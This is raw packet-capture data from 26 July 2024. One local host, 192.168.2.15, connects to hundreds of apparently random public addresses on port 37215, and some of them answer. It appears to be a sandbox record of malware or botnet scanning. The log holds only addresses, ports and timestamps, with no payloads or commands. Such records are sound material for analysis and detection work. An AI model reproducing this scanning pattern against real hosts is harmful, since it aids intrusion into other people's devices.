Jul 26, 2024 17:42:01.953876972 CEST	14150	37215	192.168.2.15	2.151.137.70
Jul 26, 2024 17:42:01.953876972 CEST	14150	37215	192.168.2.15	197.214.64.116
Jul 26, 2024 17:42:01.953879118 CEST	14150	37215	192.168.2.15	1.61.15.255
Jul 26, 2024 17:42:01.953905106 CEST	14150	37215	192.168.2.15	197.217.139.63
Jul 26, 2024 17:42:01.953933954 CEST	14150	37215	192.168.2.15	150.213.148.82
Jul 26, 2024 17:42:01.953934908 CEST	14150	37215	192.168.2.15	220.14.72.224
Jul 26, 2024 17:42:01.953936100 CEST	14150	37215	192.168.2.15	197.85.255.162
Jul 26, 2024 17:42:01.953973055 CEST	14150	37215	192.168.2.15	88.119.244.227
Jul 26, 2024 17:42:01.953974009 CEST	14150	37215	192.168.2.15	197.137.238.229
Jul 26, 2024 17:42:01.953974962 CEST	14150	37215	192.168.2.15	41.220.121.123
Jul 26, 2024 17:42:01.953974962 CEST	14150	37215	192.168.2.15	138.3.60.225
Jul 26, 2024 17:42:01.954010010 CEST	14150	37215	192.168.2.15	210.242.193.95
Jul 26, 2024 17:42:01.954010963 CEST	14150	37215	192.168.2.15	41.76.82.243
Jul 26, 2024 17:42:01.954022884 CEST	14150	37215	192.168.2.15	197.164.84.251
Jul 26, 2024 17:42:01.954031944 CEST	14150	37215	192.168.2.15	41.78.83.173
Jul 26, 2024 17:42:01.954070091 CEST	14150	37215	192.168.2.15	157.44.115.245
Jul 26, 2024 17:42:01.954071999 CEST	14150	37215	192.168.2.15	41.35.11.124
Jul 26, 2024 17:42:01.954107046 CEST	14150	37215	192.168.2.15	153.157.191.23
Jul 26, 2024 17:42:01.954117060 CEST	14150	37215	192.168.2.15	41.29.44.249
Jul 26, 2024 17:42:01.954138041 CEST	14150	37215	192.168.2.15	41.49.128.181
Jul 26, 2024 17:42:01.954143047 CEST	14150	37215	192.168.2.15	197.172.67.56
Jul 26, 2024 17:42:01.954143047 CEST	14150	37215	192.168.2.15	41.145.229.215
Jul 26, 2024 17:42:01.954143047 CEST	14150	37215	192.168.2.15	157.243.174.187
Jul 26, 2024 17:42:01.954169989 CEST	14150	37215	192.168.2.15	157.162.56.200
Jul 26, 2024 17:42:01.954197884 CEST	14150	37215	192.168.2.15	157.117.146.172
Jul 26, 2024 17:42:01.954197884 CEST	14150	37215	192.168.2.15	157.167.167.18
Jul 26, 2024 17:42:01.954197884 CEST	14150	37215	192.168.2.15	41.76.88.1
Jul 26, 2024 17:42:01.954197884 CEST	14150	37215	192.168.2.15	202.181.23.165
Jul 26, 2024 17:42:01.954231977 CEST	14150	37215	192.168.2.15	197.21.114.234
Jul 26, 2024 17:42:01.954252958 CEST	14150	37215	192.168.2.15	197.29.253.182
Jul 26, 2024 17:42:01.954286098 CEST	14150	37215	192.168.2.15	41.172.101.210
Jul 26, 2024 17:42:01.954318047 CEST	14150	37215	192.168.2.15	41.180.195.61
Jul 26, 2024 17:42:01.954330921 CEST	14150	37215	192.168.2.15	197.248.69.193
Jul 26, 2024 17:42:01.954351902 CEST	14150	37215	192.168.2.15	157.173.164.40
Jul 26, 2024 17:42:01.954401970 CEST	14150	37215	192.168.2.15	133.204.59.222
Jul 26, 2024 17:42:01.954408884 CEST	14150	37215	192.168.2.15	157.103.7.207
Jul 26, 2024 17:42:01.954447031 CEST	14150	37215	192.168.2.15	41.193.250.133
Jul 26, 2024 17:42:01.954447031 CEST	14150	37215	192.168.2.15	198.180.36.20
Jul 26, 2024 17:42:01.954447031 CEST	14150	37215	192.168.2.15	157.244.83.234
Jul 26, 2024 17:42:01.954495907 CEST	14150	37215	192.168.2.15	157.70.158.112
Jul 26, 2024 17:42:01.954523087 CEST	14150	37215	192.168.2.15	2.186.121.198
Jul 26, 2024 17:42:01.954523087 CEST	14150	37215	192.168.2.15	82.171.25.144
Jul 26, 2024 17:42:01.954554081 CEST	14150	37215	192.168.2.15	188.160.191.181
Jul 26, 2024 17:42:01.954556942 CEST	14150	37215	192.168.2.15	197.6.209.207
Jul 26, 2024 17:42:01.954586029 CEST	14150	37215	192.168.2.15	197.103.14.100
Jul 26, 2024 17:42:01.954593897 CEST	14150	37215	192.168.2.15	197.221.67.15
Jul 26, 2024 17:42:01.954600096 CEST	14150	37215	192.168.2.15	41.97.57.118
Jul 26, 2024 17:42:01.954632998 CEST	14150	37215	192.168.2.15	41.163.20.129
Jul 26, 2024 17:42:01.954652071 CEST	14150	37215	192.168.2.15	157.120.142.75
Jul 26, 2024 17:42:01.954658031 CEST	14150	37215	192.168.2.15	157.186.104.137
Jul 26, 2024 17:42:01.954684019 CEST	14150	37215	192.168.2.15	41.10.19.5
Jul 26, 2024 17:42:01.954703093 CEST	14150	37215	192.168.2.15	157.173.254.232
Jul 26, 2024 17:42:01.954703093 CEST	14150	37215	192.168.2.15	157.170.0.48
Jul 26, 2024 17:42:01.954703093 CEST	14150	37215	192.168.2.15	157.167.202.62
Jul 26, 2024 17:42:01.954709053 CEST	14150	37215	192.168.2.15	197.65.226.143
Jul 26, 2024 17:42:01.954747915 CEST	14150	37215	192.168.2.15	41.40.39.229
Jul 26, 2024 17:42:01.954747915 CEST	14150	37215	192.168.2.15	45.109.13.182
Jul 26, 2024 17:42:01.954793930 CEST	14150	37215	192.168.2.15	157.21.246.192
Jul 26, 2024 17:42:01.954807997 CEST	14150	37215	192.168.2.15	189.54.70.248
Jul 26, 2024 17:42:01.954807997 CEST	14150	37215	192.168.2.15	157.71.3.72
Jul 26, 2024 17:42:01.954807997 CEST	14150	37215	192.168.2.15	174.53.11.59
Jul 26, 2024 17:42:01.954824924 CEST	14150	37215	192.168.2.15	197.26.108.141
Jul 26, 2024 17:42:01.954824924 CEST	14150	37215	192.168.2.15	41.220.133.61
Jul 26, 2024 17:42:01.954838037 CEST	14150	37215	192.168.2.15	41.131.205.129
Jul 26, 2024 17:42:01.954840899 CEST	14150	37215	192.168.2.15	197.155.60.88
Jul 26, 2024 17:42:01.954840899 CEST	14150	37215	192.168.2.15	142.92.61.32
Jul 26, 2024 17:42:01.954840899 CEST	14150	37215	192.168.2.15	41.120.149.92
Jul 26, 2024 17:42:01.954840899 CEST	14150	37215	192.168.2.15	58.41.172.202
Jul 26, 2024 17:42:01.954840899 CEST	14150	37215	192.168.2.15	197.163.59.82
Jul 26, 2024 17:42:01.954840899 CEST	14150	37215	192.168.2.15	41.58.151.219
Jul 26, 2024 17:42:01.954853058 CEST	14150	37215	192.168.2.15	197.120.232.11
Jul 26, 2024 17:42:01.954874992 CEST	14150	37215	192.168.2.15	157.205.199.245
Jul 26, 2024 17:42:01.954895020 CEST	14150	37215	192.168.2.15	41.42.106.204
Jul 26, 2024 17:42:01.954914093 CEST	14150	37215	192.168.2.15	197.61.253.39
Jul 26, 2024 17:42:01.954948902 CEST	14150	37215	192.168.2.15	77.65.143.98
Jul 26, 2024 17:42:01.954948902 CEST	14150	37215	192.168.2.15	157.200.251.238
Jul 26, 2024 17:42:01.954999924 CEST	14150	37215	192.168.2.15	197.48.58.252
Jul 26, 2024 17:42:01.954999924 CEST	14150	37215	192.168.2.15	41.170.106.210
Jul 26, 2024 17:42:01.954999924 CEST	14150	37215	192.168.2.15	157.50.67.166
Jul 26, 2024 17:42:01.954999924 CEST	40758	37215	192.168.2.15	41.179.100.167
Jul 26, 2024 17:42:01.955014944 CEST	54124	37215	192.168.2.15	18.103.70.31
Jul 26, 2024 17:42:01.955070972 CEST	51200	37215	192.168.2.15	197.119.249.158
Jul 26, 2024 17:42:01.955073118 CEST	52598	37215	192.168.2.15	173.34.24.153
Jul 26, 2024 17:42:01.955077887 CEST	55460	37215	192.168.2.15	218.12.181.11
Jul 26, 2024 17:42:01.955077887 CEST	52368	37215	192.168.2.15	197.159.70.12
Jul 26, 2024 17:42:01.955080986 CEST	52438	37215	192.168.2.15	41.150.32.89
Jul 26, 2024 17:42:01.955099106 CEST	56024	37215	192.168.2.15	52.4.140.64
Jul 26, 2024 17:42:01.955137014 CEST	43150	37215	192.168.2.15	14.64.173.32
Jul 26, 2024 17:42:01.955157995 CEST	33256	37215	192.168.2.15	157.122.19.30
Jul 26, 2024 17:42:01.955159903 CEST	37602	37215	192.168.2.15	219.209.44.35
Jul 26, 2024 17:42:01.955171108 CEST	59600	37215	192.168.2.15	197.202.26.77
Jul 26, 2024 17:42:01.955178976 CEST	59548	37215	192.168.2.15	41.134.228.22
Jul 26, 2024 17:42:01.955190897 CEST	56580	37215	192.168.2.15	157.14.17.185
Jul 26, 2024 17:42:01.955212116 CEST	57460	37215	192.168.2.15	197.146.215.77
Jul 26, 2024 17:42:01.955255985 CEST	52340	37215	192.168.2.15	157.243.171.88
Jul 26, 2024 17:42:01.955256939 CEST	50558	37215	192.168.2.15	118.47.10.71
Jul 26, 2024 17:42:01.955255985 CEST	35352	37215	192.168.2.15	41.81.115.15
Jul 26, 2024 17:42:01.955255985 CEST	45464	37215	192.168.2.15	41.208.134.218
Jul 26, 2024 17:42:01.955306053 CEST	41528	37215	192.168.2.15	25.248.138.241
Jul 26, 2024 17:42:01.955306053 CEST	48798	37215	192.168.2.15	157.165.241.7
Jul 26, 2024 17:42:01.955307007 CEST	52368	37215	192.168.2.15	100.55.79.58
Jul 26, 2024 17:42:01.955331087 CEST	53276	37215	192.168.2.15	41.11.38.33
Jul 26, 2024 17:42:01.955353975 CEST	59572	37215	192.168.2.15	197.247.67.99
Jul 26, 2024 17:42:01.955353975 CEST	56840	37215	192.168.2.15	41.12.247.102
Jul 26, 2024 17:42:01.955394030 CEST	39034	37215	192.168.2.15	197.114.78.215
Jul 26, 2024 17:42:01.955394983 CEST	60618	37215	192.168.2.15	38.110.93.103
Jul 26, 2024 17:42:01.955398083 CEST	57270	37215	192.168.2.15	41.172.255.117
Jul 26, 2024 17:42:01.955420971 CEST	48372	37215	192.168.2.15	41.68.254.14
Jul 26, 2024 17:42:01.955425024 CEST	37074	37215	192.168.2.15	41.30.204.137
Jul 26, 2024 17:42:01.955472946 CEST	47232	37215	192.168.2.15	197.165.27.168
Jul 26, 2024 17:42:01.955475092 CEST	42424	37215	192.168.2.15	223.164.117.74
Jul 26, 2024 17:42:01.955475092 CEST	35734	37215	192.168.2.15	197.180.119.91
Jul 26, 2024 17:42:01.955501080 CEST	54560	37215	192.168.2.15	41.76.165.220
Jul 26, 2024 17:42:01.955521107 CEST	50956	37215	192.168.2.15	153.15.187.13
Jul 26, 2024 17:42:01.955554008 CEST	43478	37215	192.168.2.15	41.232.234.59
Jul 26, 2024 17:42:01.955554008 CEST	40974	37215	192.168.2.15	153.180.1.96
Jul 26, 2024 17:42:01.955554008 CEST	59310	37215	192.168.2.15	41.215.45.122
Jul 26, 2024 17:42:01.955570936 CEST	39762	37215	192.168.2.15	41.130.148.85
Jul 26, 2024 17:42:01.955600977 CEST	34038	37215	192.168.2.15	41.140.89.175
Jul 26, 2024 17:42:01.955606937 CEST	42792	37215	192.168.2.15	197.121.253.62
Jul 26, 2024 17:42:01.955616951 CEST	58530	37215	192.168.2.15	218.25.22.207
Jul 26, 2024 17:42:01.955657959 CEST	35326	37215	192.168.2.15	157.196.46.101
Jul 26, 2024 17:42:01.955657959 CEST	51200	37215	192.168.2.15	197.119.249.158
Jul 26, 2024 17:42:01.955657959 CEST	40758	37215	192.168.2.15	41.179.100.167
Jul 26, 2024 17:42:01.955661058 CEST	54124	37215	192.168.2.15	18.103.70.31
Jul 26, 2024 17:42:01.955673933 CEST	52438	37215	192.168.2.15	41.150.32.89
Jul 26, 2024 17:42:01.955673933 CEST	56024	37215	192.168.2.15	52.4.140.64
Jul 26, 2024 17:42:01.955678940 CEST	55460	37215	192.168.2.15	218.12.181.11
Jul 26, 2024 17:42:01.955678940 CEST	52368	37215	192.168.2.15	197.159.70.12
Jul 26, 2024 17:42:01.955696106 CEST	33256	37215	192.168.2.15	157.122.19.30
Jul 26, 2024 17:42:01.955697060 CEST	43150	37215	192.168.2.15	14.64.173.32
Jul 26, 2024 17:42:01.955697060 CEST	59600	37215	192.168.2.15	197.202.26.77
Jul 26, 2024 17:42:01.955697060 CEST	57460	37215	192.168.2.15	197.146.215.77
Jul 26, 2024 17:42:01.955699921 CEST	37602	37215	192.168.2.15	219.209.44.35
Jul 26, 2024 17:42:01.955713987 CEST	50558	37215	192.168.2.15	118.47.10.71
Jul 26, 2024 17:42:01.955718994 CEST	56580	37215	192.168.2.15	157.14.17.185
Jul 26, 2024 17:42:01.955718994 CEST	52340	37215	192.168.2.15	157.243.171.88
Jul 26, 2024 17:42:01.955718994 CEST	35352	37215	192.168.2.15	41.81.115.15
Jul 26, 2024 17:42:01.955718994 CEST	45464	37215	192.168.2.15	41.208.134.218
Jul 26, 2024 17:42:01.955728054 CEST	52368	37215	192.168.2.15	100.55.79.58
Jul 26, 2024 17:42:01.955738068 CEST	48798	37215	192.168.2.15	157.165.241.7
Jul 26, 2024 17:42:01.955739021 CEST	59548	37215	192.168.2.15	41.134.228.22
Jul 26, 2024 17:42:01.955739021 CEST	59572	37215	192.168.2.15	197.247.67.99
Jul 26, 2024 17:42:01.955739021 CEST	56840	37215	192.168.2.15	41.12.247.102
Jul 26, 2024 17:42:01.955741882 CEST	39034	37215	192.168.2.15	197.114.78.215
Jul 26, 2024 17:42:01.955743074 CEST	53276	37215	192.168.2.15	41.11.38.33
Jul 26, 2024 17:42:01.955744982 CEST	57270	37215	192.168.2.15	41.172.255.117
Jul 26, 2024 17:42:01.955749035 CEST	60618	37215	192.168.2.15	38.110.93.103
Jul 26, 2024 17:42:01.955749035 CEST	48372	37215	192.168.2.15	41.68.254.14
Jul 26, 2024 17:42:01.955758095 CEST	41528	37215	192.168.2.15	25.248.138.241
Jul 26, 2024 17:42:01.955759048 CEST	52598	37215	192.168.2.15	173.34.24.153
Jul 26, 2024 17:42:01.955765009 CEST	42424	37215	192.168.2.15	223.164.117.74
Jul 26, 2024 17:42:01.955765009 CEST	37074	37215	192.168.2.15	41.30.204.137
Jul 26, 2024 17:42:01.955765009 CEST	35734	37215	192.168.2.15	197.180.119.91
Jul 26, 2024 17:42:01.955775976 CEST	54560	37215	192.168.2.15	41.76.165.220
Jul 26, 2024 17:42:01.955792904 CEST	39762	37215	192.168.2.15	41.130.148.85
Jul 26, 2024 17:42:01.955796003 CEST	40974	37215	192.168.2.15	153.180.1.96
Jul 26, 2024 17:42:01.955801964 CEST	42792	37215	192.168.2.15	197.121.253.62
Jul 26, 2024 17:42:01.955827951 CEST	47232	37215	192.168.2.15	197.165.27.168
Jul 26, 2024 17:42:01.955827951 CEST	50956	37215	192.168.2.15	153.15.187.13
Jul 26, 2024 17:42:01.955827951 CEST	34038	37215	192.168.2.15	41.140.89.175
Jul 26, 2024 17:42:01.955828905 CEST	43478	37215	192.168.2.15	41.232.234.59
Jul 26, 2024 17:42:01.955828905 CEST	59310	37215	192.168.2.15	41.215.45.122
Jul 26, 2024 17:42:01.955831051 CEST	45746	37215	192.168.2.15	157.239.10.81
Jul 26, 2024 17:42:01.955847025 CEST	50370	37215	192.168.2.15	157.88.236.173
Jul 26, 2024 17:42:01.955867052 CEST	45746	37215	192.168.2.15	157.239.10.81
Jul 26, 2024 17:42:01.955868959 CEST	50370	37215	192.168.2.15	157.88.236.173
Jul 26, 2024 17:42:01.955899000 CEST	35326	37215	192.168.2.15	157.196.46.101
Jul 26, 2024 17:42:01.959137917 CEST	37215	38458	41.242.228.108	192.168.2.15
Jul 26, 2024 17:42:01.959146023 CEST	37215	58530	218.25.22.207	192.168.2.15
Jul 26, 2024 17:42:01.959150076 CEST	37215	14150	197.76.158.173	192.168.2.15
Jul 26, 2024 17:42:01.959157944 CEST	37215	14150	197.237.55.185	192.168.2.15
Jul 26, 2024 17:42:01.959166050 CEST	37215	14150	157.195.91.26	192.168.2.15
Jul 26, 2024 17:42:01.959170103 CEST	37215	14150	172.114.80.126	192.168.2.15
Jul 26, 2024 17:42:01.959177017 CEST	38458	37215	192.168.2.15	41.242.228.108
Jul 26, 2024 17:42:01.959192038 CEST	37215	14150	184.47.229.66	192.168.2.15
Jul 26, 2024 17:42:01.959199905 CEST	37215	14150	102.33.27.18	192.168.2.15
Jul 26, 2024 17:42:01.959207058 CEST	37215	14150	157.231.94.32	192.168.2.15
Jul 26, 2024 17:42:01.959214926 CEST	38458	37215	192.168.2.15	41.242.228.108
Jul 26, 2024 17:42:01.959220886 CEST	14150	37215	192.168.2.15	184.47.229.66
Jul 26, 2024 17:42:01.959223032 CEST	37215	14150	41.140.107.15	192.168.2.15
Jul 26, 2024 17:42:01.959233999 CEST	37215	14150	197.31.230.114	192.168.2.15
Jul 26, 2024 17:42:01.959239006 CEST	14150	37215	192.168.2.15	157.231.94.32
Jul 26, 2024 17:42:01.959247112 CEST	37215	14150	41.75.245.73	192.168.2.15
Jul 26, 2024 17:42:01.959254026 CEST	14150	37215	192.168.2.15	157.195.91.26
Jul 26, 2024 17:42:01.959254026 CEST	14150	37215	192.168.2.15	41.140.107.15
Jul 26, 2024 17:42:01.959276915 CEST	14150	37215	192.168.2.15	197.31.230.114
Jul 26, 2024 17:42:01.959291935 CEST	14150	37215	192.168.2.15	197.76.158.173
Jul 26, 2024 17:42:01.959291935 CEST	14150	37215	192.168.2.15	41.75.245.73
Jul 26, 2024 17:42:01.959323883 CEST	14150	37215	192.168.2.15	197.237.55.185
Jul 26, 2024 17:42:01.959323883 CEST	14150	37215	192.168.2.15	172.114.80.126
Jul 26, 2024 17:42:01.959326029 CEST	14150	37215	192.168.2.15	102.33.27.18
Jul 26, 2024 17:42:01.959328890 CEST	37215	14150	155.192.202.50	192.168.2.15
Jul 26, 2024 17:42:01.959338903 CEST	37215	14150	41.178.84.90	192.168.2.15
Jul 26, 2024 17:42:01.959369898 CEST	14150	37215	192.168.2.15	155.192.202.50
Jul 26, 2024 17:42:01.959369898 CEST	14150	37215	192.168.2.15	41.178.84.90
Jul 26, 2024 17:42:01.959861994 CEST	46866	37215	192.168.2.15	197.76.158.173
Jul 26, 2024 17:42:01.960069895 CEST	37215	14150	123.29.130.155	192.168.2.15
Jul 26, 2024 17:42:01.960105896 CEST	14150	37215	192.168.2.15	123.29.130.155
Jul 26, 2024 17:42:01.960139036 CEST	37215	14150	197.219.122.85	192.168.2.15
Jul 26, 2024 17:42:01.960149050 CEST	37215	14150	41.182.11.167	192.168.2.15
Jul 26, 2024 17:42:01.960155964 CEST	37215	14150	84.34.46.1	192.168.2.15
Jul 26, 2024 17:42:01.960164070 CEST	37215	14150	101.21.16.213	192.168.2.15
Jul 26, 2024 17:42:01.960170984 CEST	37215	14150	41.198.181.13	192.168.2.15
Jul 26, 2024 17:42:01.960175991 CEST	14150	37215	192.168.2.15	197.219.122.85
Jul 26, 2024 17:42:01.960185051 CEST	37215	14150	41.164.74.42	192.168.2.15
Jul 26, 2024 17:42:01.960187912 CEST	14150	37215	192.168.2.15	101.21.16.213
Jul 26, 2024 17:42:01.960201979 CEST	37215	14150	157.114.119.40	192.168.2.15
Jul 26, 2024 17:42:01.960208893 CEST	37215	14150	157.51.89.254	192.168.2.15
Jul 26, 2024 17:42:01.960216045 CEST	14150	37215	192.168.2.15	41.198.181.13
Jul 26, 2024 17:42:01.960216045 CEST	37215	14150	105.35.239.234	192.168.2.15
Jul 26, 2024 17:42:01.960216045 CEST	14150	37215	192.168.2.15	41.164.74.42
Jul 26, 2024 17:42:01.960226059 CEST	37215	14150	157.252.22.173	192.168.2.15
Jul 26, 2024 17:42:01.960235119 CEST	37215	14150	197.162.249.163	192.168.2.15
Jul 26, 2024 17:42:01.960238934 CEST	37215	14150	35.0.100.220	192.168.2.15
Jul 26, 2024 17:42:01.960238934 CEST	14150	37215	192.168.2.15	157.114.119.40
Jul 26, 2024 17:42:01.960246086 CEST	37215	14150	197.11.115.242	192.168.2.15
Jul 26, 2024 17:42:01.960256100 CEST	14150	37215	192.168.2.15	157.51.89.254
Jul 26, 2024 17:42:01.960256100 CEST	14150	37215	192.168.2.15	105.35.239.234
Jul 26, 2024 17:42:01.960259914 CEST	14150	37215	192.168.2.15	35.0.100.220
Jul 26, 2024 17:42:01.960261106 CEST	14150	37215	192.168.2.15	157.252.22.173
Jul 26, 2024 17:42:01.960280895 CEST	14150	37215	192.168.2.15	197.11.115.242
Jul 26, 2024 17:42:01.960280895 CEST	14150	37215	192.168.2.15	197.162.249.163
Jul 26, 2024 17:42:01.960282087 CEST	14150	37215	192.168.2.15	41.182.11.167
Jul 26, 2024 17:42:01.960282087 CEST	14150	37215	192.168.2.15	84.34.46.1
Jul 26, 2024 17:42:01.960342884 CEST	37215	14150	103.221.195.65	192.168.2.15
Jul 26, 2024 17:42:01.960351944 CEST	37215	14150	197.119.114.214	192.168.2.15
Jul 26, 2024 17:42:01.960357904 CEST	37215	14150	49.29.129.149	192.168.2.15
Jul 26, 2024 17:42:01.960361958 CEST	37215	14150	197.214.37.126	192.168.2.15
Jul 26, 2024 17:42:01.960369110 CEST	37215	14150	157.105.86.72	192.168.2.15
Jul 26, 2024 17:42:01.960380077 CEST	14150	37215	192.168.2.15	103.221.195.65
Jul 26, 2024 17:42:01.960385084 CEST	14150	37215	192.168.2.15	197.214.37.126
Jul 26, 2024 17:42:01.960386038 CEST	14150	37215	192.168.2.15	197.119.114.214
Jul 26, 2024 17:42:01.960392952 CEST	37215	14150	123.249.101.104	192.168.2.15
Jul 26, 2024 17:42:01.960397959 CEST	14150	37215	192.168.2.15	49.29.129.149
Jul 26, 2024 17:42:01.960402966 CEST	37215	14150	41.131.135.94	192.168.2.15
Jul 26, 2024 17:42:01.960411072 CEST	37215	14150	157.61.123.126	192.168.2.15
Jul 26, 2024 17:42:01.960418940 CEST	14150	37215	192.168.2.15	157.105.86.72
Jul 26, 2024 17:42:01.960426092 CEST	37215	14150	157.141.168.114	192.168.2.15
Jul 26, 2024 17:42:01.960434914 CEST	37215	14150	197.185.42.136	192.168.2.15
Jul 26, 2024 17:42:01.960438013 CEST	14150	37215	192.168.2.15	41.131.135.94
Jul 26, 2024 17:42:01.960441113 CEST	14150	37215	192.168.2.15	157.61.123.126
Jul 26, 2024 17:42:01.960443020 CEST	37215	14150	197.192.99.218	192.168.2.15
Jul 26, 2024 17:42:01.960450888 CEST	37215	14150	128.210.223.33	192.168.2.15
Jul 26, 2024 17:42:01.960458040 CEST	37215	14150	197.100.159.198	192.168.2.15
Jul 26, 2024 17:42:01.960458040 CEST	14150	37215	192.168.2.15	123.249.101.104
Jul 26, 2024 17:42:01.960458040 CEST	14150	37215	192.168.2.15	157.141.168.114
Jul 26, 2024 17:42:01.960458040 CEST	14150	37215	192.168.2.15	197.185.42.136
Jul 26, 2024 17:42:01.960490942 CEST	14150	37215	192.168.2.15	197.192.99.218
Jul 26, 2024 17:42:01.960491896 CEST	14150	37215	192.168.2.15	197.100.159.198
Jul 26, 2024 17:42:01.960501909 CEST	14150	37215	192.168.2.15	128.210.223.33
Jul 26, 2024 17:42:01.961354971 CEST	55950	37215	192.168.2.15	197.237.55.185
Jul 26, 2024 17:42:01.961417913 CEST	37215	14150	187.2.62.124	192.168.2.15
Jul 26, 2024 17:42:01.961426020 CEST	37215	14150	106.157.24.127	192.168.2.15
Jul 26, 2024 17:42:01.961433887 CEST	37215	14150	41.233.87.97	192.168.2.15
Jul 26, 2024 17:42:01.961450100 CEST	14150	37215	192.168.2.15	187.2.62.124
Jul 26, 2024 17:42:01.961464882 CEST	14150	37215	192.168.2.15	41.233.87.97
Jul 26, 2024 17:42:01.961498022 CEST	14150	37215	192.168.2.15	106.157.24.127
Jul 26, 2024 17:42:01.961556911 CEST	37215	14150	72.194.119.143	192.168.2.15
Jul 26, 2024 17:42:01.961565971 CEST	37215	14150	41.71.87.126	192.168.2.15
Jul 26, 2024 17:42:01.961574078 CEST	37215	14150	199.177.172.209	192.168.2.15
Jul 26, 2024 17:42:01.961591959 CEST	14150	37215	192.168.2.15	72.194.119.143
Jul 26, 2024 17:42:01.961591959 CEST	14150	37215	192.168.2.15	41.71.87.126
Jul 26, 2024 17:42:01.961607933 CEST	14150	37215	192.168.2.15	199.177.172.209
Jul 26, 2024 17:42:01.961635113 CEST	37215	14150	157.79.31.23	192.168.2.15
Jul 26, 2024 17:42:01.961644888 CEST	37215	14150	41.98.155.52	192.168.2.15
Jul 26, 2024 17:42:01.961652040 CEST	37215	14150	197.14.134.65	192.168.2.15
Jul 26, 2024 17:42:01.961658955 CEST	37215	14150	157.166.67.216	192.168.2.15
Jul 26, 2024 17:42:01.961667061 CEST	37215	14150	157.232.73.119	192.168.2.15
Jul 26, 2024 17:42:01.961668015 CEST	14150	37215	192.168.2.15	157.79.31.23
Jul 26, 2024 17:42:01.961668968 CEST	14150	37215	192.168.2.15	41.98.155.52
Jul 26, 2024 17:42:01.961675882 CEST	37215	14150	42.24.106.31	192.168.2.15
Jul 26, 2024 17:42:01.961683989 CEST	37215	14150	157.171.58.37	192.168.2.15
Jul 26, 2024 17:42:01.961690903 CEST	14150	37215	192.168.2.15	197.14.134.65
Jul 26, 2024 17:42:01.961700916 CEST	37215	14150	197.93.43.13	192.168.2.15
Jul 26, 2024 17:42:01.961705923 CEST	14150	37215	192.168.2.15	157.232.73.119
Jul 26, 2024 17:42:01.961705923 CEST	14150	37215	192.168.2.15	42.24.106.31
Jul 26, 2024 17:42:01.961714983 CEST	37215	14150	205.111.49.207	192.168.2.15
Jul 26, 2024 17:42:01.961724997 CEST	37215	14150	197.237.249.128	192.168.2.15
Jul 26, 2024 17:42:01.961734056 CEST	37215	14150	197.198.63.31	192.168.2.15
Jul 26, 2024 17:42:01.961756945 CEST	14150	37215	192.168.2.15	205.111.49.207
Jul 26, 2024 17:42:01.961756945 CEST	14150	37215	192.168.2.15	197.237.249.128
Jul 26, 2024 17:42:01.961760998 CEST	14150	37215	192.168.2.15	157.171.58.37
Jul 26, 2024 17:42:01.961760998 CEST	14150	37215	192.168.2.15	197.198.63.31
Jul 26, 2024 17:42:01.961815119 CEST	37215	14150	197.23.61.116	192.168.2.15
Jul 26, 2024 17:42:01.961823940 CEST	37215	14150	41.144.189.163	192.168.2.15
Jul 26, 2024 17:42:01.961832047 CEST	37215	14150	117.184.100.177	192.168.2.15
Jul 26, 2024 17:42:01.961839914 CEST	37215	14150	41.74.98.38	192.168.2.15
Jul 26, 2024 17:42:01.961843014 CEST	37215	14150	74.21.39.92	192.168.2.15
Jul 26, 2024 17:42:01.961848021 CEST	37215	14150	41.232.39.4	192.168.2.15
Jul 26, 2024 17:42:01.961852074 CEST	14150	37215	192.168.2.15	197.23.61.116
Jul 26, 2024 17:42:01.961855888 CEST	37215	14150	197.107.155.114	192.168.2.15
Jul 26, 2024 17:42:01.961868048 CEST	14150	37215	192.168.2.15	117.184.100.177
Jul 26, 2024 17:42:01.961868048 CEST	14150	37215	192.168.2.15	41.74.98.38
Jul 26, 2024 17:42:01.961885929 CEST	14150	37215	192.168.2.15	157.166.67.216
Jul 26, 2024 17:42:01.961885929 CEST	14150	37215	192.168.2.15	41.232.39.4
Jul 26, 2024 17:42:01.961888075 CEST	14150	37215	192.168.2.15	74.21.39.92
Jul 26, 2024 17:42:01.961891890 CEST	14150	37215	192.168.2.15	197.93.43.13
Jul 26, 2024 17:42:01.961891890 CEST	14150	37215	192.168.2.15	41.144.189.163
Jul 26, 2024 17:42:01.961891890 CEST	14150	37215	192.168.2.15	197.107.155.114
Jul 26, 2024 17:42:01.961941957 CEST	37215	14150	157.121.141.238	192.168.2.15
Jul 26, 2024 17:42:01.961950064 CEST	37215	14150	157.197.185.71	192.168.2.15
Jul 26, 2024 17:42:01.961957932 CEST	37215	14150	41.167.107.191	192.168.2.15
Jul 26, 2024 17:42:01.961963892 CEST	37215	14150	157.13.106.4	192.168.2.15
Jul 26, 2024 17:42:01.961987019 CEST	14150	37215	192.168.2.15	157.197.185.71
Jul 26, 2024 17:42:01.961992025 CEST	14150	37215	192.168.2.15	157.121.141.238
Jul 26, 2024 17:42:01.962033987 CEST	14150	37215	192.168.2.15	157.13.106.4
Jul 26, 2024 17:42:01.962034941 CEST	14150	37215	192.168.2.15	41.167.107.191
Jul 26, 2024 17:42:01.962990046 CEST	54418	37215	192.168.2.15	172.114.80.126
Jul 26, 2024 17:42:01.963603020 CEST	37215	14150	41.190.146.226	192.168.2.15
Jul 26, 2024 17:42:01.963612080 CEST	37215	14150	41.150.211.103	192.168.2.15
Jul 26, 2024 17:42:01.963615894 CEST	37215	14150	41.68.139.29	192.168.2.15
Jul 26, 2024 17:42:01.963632107 CEST	37215	14150	41.227.84.105	192.168.2.15
Jul 26, 2024 17:42:01.963640928 CEST	14150	37215	192.168.2.15	41.150.211.103
Jul 26, 2024 17:42:01.963645935 CEST	37215	14150	24.103.209.161	192.168.2.15
Jul 26, 2024 17:42:01.963654041 CEST	37215	14150	197.224.46.253	192.168.2.15
Jul 26, 2024 17:42:01.963660002 CEST	37215	14150	139.14.159.31	192.168.2.15
Jul 26, 2024 17:42:01.963668108 CEST	37215	14150	201.93.30.9	192.168.2.15
Jul 26, 2024 17:42:01.963675976 CEST	37215	14150	197.116.169.227	192.168.2.15
Jul 26, 2024 17:42:01.963680029 CEST	37215	14150	157.240.134.171	192.168.2.15
Jul 26, 2024 17:42:01.963680029 CEST	14150	37215	192.168.2.15	41.227.84.105
Jul 26, 2024 17:42:01.963685989 CEST	14150	37215	192.168.2.15	41.190.146.226
Jul 26, 2024 17:42:01.963685989 CEST	14150	37215	192.168.2.15	139.14.159.31
Jul 26, 2024 17:42:01.963687897 CEST	37215	14150	197.68.12.38	192.168.2.15
Jul 26, 2024 17:42:01.963697910 CEST	37215	14150	187.94.210.128	192.168.2.15
Jul 26, 2024 17:42:01.963702917 CEST	14150	37215	192.168.2.15	201.93.30.9
